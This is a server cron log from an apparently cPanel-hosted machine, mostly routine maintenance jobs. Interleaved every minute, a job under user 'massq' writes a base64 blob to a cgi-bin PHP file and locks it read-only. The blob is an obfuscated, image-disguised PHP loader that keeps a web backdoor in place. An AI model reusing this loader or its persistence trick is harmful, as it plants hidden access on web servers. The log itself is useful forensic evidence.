Sep  3 19:17:01 server CROND[2715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:17:01 server CROND[2716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:17:01 server CROND[2717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:18:01 server CROND[3095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:18:01 server CROND[3096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:18:01 server CROND[3097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:19:01 server CROND[3568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:19:01 server CROND[3569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:19:01 server CROND[3570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:20:01 server CROND[3961]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 19:20:01 server CROND[3963]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:20:01 server CROND[3965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:20:01 server CROND[3970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:20:01 server CROND[3964]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:20:01 server CROND[3969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:20:01 server CROND[3968]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 19:20:01 server CROND[3966]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 19:20:01 server CROND[3967]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 19:21:01 server CROND[4821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:21:01 server CROND[4822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:21:01 server CROND[4823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:22:01 server CROND[5195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:22:01 server CROND[5196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:22:01 server CROND[5197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:23:01 server CROND[5574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:23:01 server CROND[5575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:23:01 server CROND[5576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:24:01 server CROND[5998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:24:01 server CROND[5999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:24:01 server CROND[6000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:25:02 server CROND[6473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:25:02 server CROND[6474]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 19:25:02 server CROND[6477]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 19:25:02 server CROND[6481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:25:02 server CROND[6475]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:25:02 server CROND[6483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:25:02 server CROND[6482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:26:01 server CROND[7508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:26:01 server CROND[7510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:26:01 server CROND[7511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:27:01 server CROND[7898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:27:01 server CROND[7899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:27:01 server CROND[7900]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 19:27:01 server CROND[7901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:28:01 server CROND[8282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:28:01 server CROND[8283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:28:01 server CROND[8284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:29:01 server CROND[8659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:29:01 server CROND[8661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
